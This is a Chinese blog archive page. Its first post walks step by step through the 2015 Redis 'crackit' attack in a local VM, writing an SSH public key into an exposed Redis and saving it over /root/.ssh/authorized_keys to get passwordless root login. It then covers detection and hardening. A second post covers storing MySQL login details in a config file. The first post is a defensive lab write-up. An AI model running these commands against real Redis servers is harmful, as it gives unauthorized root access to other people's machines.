Fork me on GitHub

2015年11月

Redis crackit 漏洞尝试

最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

<span style="color:red">网络入侵是违法行为,请在虚拟环境下进行本次实验!</span>

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 用户设置好之后,安装 redis-server:

root@precise32:~# apt-get install redis-server

运行 redis-server:

root@precise32:~# redis-server /etc/redis/redis.conf

至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

redis.png

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

$ vagrant ssh-config
Host default
  HostName 127.0.0.1
  User vagrant
  Port 2222
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

我们再看下 ssh 命令的 man 手册:

ssh-o.png

看看 vagrant 的这个配置,和 ssh-o 选项完全一样。实际上,vagrant 正是通过 ssh-o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

$ vagrant ssh-config > vagrant-ssh

然后通过 ssh-F 参数,来连接虚拟机:

$ ssh -F vagrant-ssh root@default

或者使用 -o 指定参数:

$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+

3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo

3.3 将公钥写入 redis

通过联合 catredis-cli-x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

<span style="color:red">请确保缓存中没有重要数据,清空之前请慎重!</span>

$ cat foo | redis-cli -h default -x set crackit

3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK

3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh-i 选项),可以无需密码即可连接对方机器:

$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~# 

三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

  1. 修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
  2. 修改 redis 的 requirepass 参数,访问 redis 增加密码认证
  3. 修改 redis 的 port 参数,不要使用默认的 6379 端口号
  4. 修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 用户运行 redis 服务
  6. 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)

参考

  1. redis crackit安全事件分析
  2. 【安全公告】Redis Crackit 入侵事件通告
  3. Redis 未授权访问配合 SSH key 文件利用分析
  4. What does “vagrant ssh” actually do?
扫描二维码,在手机上阅读!

如何在命令行下使用 MySQL 连接数据库不用每次都输入密码?

我们知道在命令行下可以使用下面的命令连接 MySQL ,其中 xxx 为密码(注意和 -p 参数之间没有空格)。

$ mysql -h 127.0.0.1 -u root -pxxx

可是在命令行下将密码明文显示出来并不是一个好主意,可能会被其他登录到这台计算机上的人使用 ps aux 命令查看到。而且每次连接数据库时都要再输入一遍主机名、用户名、密码,实在让人讨厌。

其实 MySQL 可以将数据库的连接配置保存在文件中,通过读取配置文件来连接数据库。首先,我们创建一个文件:

$ vim ~/mysql/localhost.cnf

在配置文件中写入连接信息:

[client]
host=127.0.0.1
user=root
password=xxx
database=db

然后,在命令行中使用下面的命令就可以连接数据库了:

$ mysql --defaults-file=~/mysql/localhost.cnf

------------------ 更正 ----------------------

使用 ps 查看 MySQL 在命令行中的密码很早以前就已经被人注意到了,而且 MySQL 也已经修复了该问题。现在,如果使用了 mysql -h 127.0.0.1 -u root -pxxx 这样带密码的命令行,在 ps 中会显示出 mysql -h 127.0.0.1 -u root -px xxxxxxx 来,如下图所示:

ps-mysql.png

这是因为 MySQL 在启动时重写了命令行参数,对密码做了隐藏处理。但是,尽管如此,还是应该<span style="color:red">养成不在命令行参数中指定明文密码的习惯</span>,而是通过手工输入,或是通过文件的方式。

参考

  1. http://superuser.com/questions/233645/save-mysql-logins
  2. http://unix.stackexchange.com/questions/88665/how-does-ps-know-to-hide-passwords
  3. http://serverfault.com/questions/399262/connect-to-mysql-trough-command-line-without-need-root-password
扫描二维码,在手机上阅读!